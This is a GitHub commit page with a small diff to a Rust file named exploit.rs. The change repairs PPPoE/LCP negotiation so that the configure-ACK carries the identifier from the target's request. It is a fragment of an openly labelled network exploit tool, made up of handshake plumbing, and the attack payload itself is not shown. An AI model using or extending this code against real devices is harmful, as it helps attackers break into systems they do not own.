Skip to content

Commit

Permalink
Repair LCP nego
Browse files Browse the repository at this point in the history
  • Loading branch information
fedebuonco committed Oct 12, 2024
1 parent 0e696f5 commit 2fdde5e
Showing 1 changed file with 6 additions and 4 deletions.
10 changes: 6 additions & 4 deletions src/exploit.rs
Original file line number Diff line number Diff line change
Expand Up @@ -65,7 +65,6 @@ impl<'a> LcpEchoHandler<'a> {
pub fn stop(&mut self) {
// Stop the thread
self.running.store(false, Ordering::Relaxed);
// Join the thread if it is running
if let Some(handle) = self.thread_handle.take() {
handle.join().unwrap();
}
Expand Down Expand Up @@ -200,13 +199,15 @@ impl Exploit {
println!("[*] Waiting for LCP configure ACK...");
let _result = listen_for_packet(rx.as_mut(), is_lcp_conf_ack);
println!("[*] Waiting for LCP configure request...");
let _result = listen_for_packet(rx.as_mut(), is_lcp_conf_req);
println!("[*] Sending LCP configure ACK...");
let result = listen_for_packet(rx.as_mut(), is_lcp_conf_req);
println!("[*] Sending LCP configure ACK..."); // FIX this need to have id of the request
let id = u8::from_be_bytes([result.unwrap()[23]]);
let lcp_conf_ack = create_lcp_conf_ack(
self.source_mac,
self.target_mac,
0x00,
constants::PPPOE_SESSION_ID.to_be_bytes(),
id,
);
let _result = tx
.send_to(&lcp_conf_ack, None)
Expand Down Expand Up @@ -852,6 +853,7 @@ pub fn create_lcp_conf_ack(
target_mac: [u8; 6],
session_data: u8,
session_id: [u8; 2],
identifier: u8,
) -> Vec<u8> {
let mut payload = Vec::new();
// PPPoE header
Expand All @@ -867,7 +869,7 @@ pub fn create_lcp_conf_ack(

// LCP and fixed length
payload.push(constants::LCP_CONF_ACK); // Configuration Ack
payload.push(constants::LCP_ID);
payload.push(identifier);
payload.extend_from_slice(&[0, 4]);

ether::Builder::default()
Expand Down

0 comments on commit 2fdde5e

Please sign in to comment.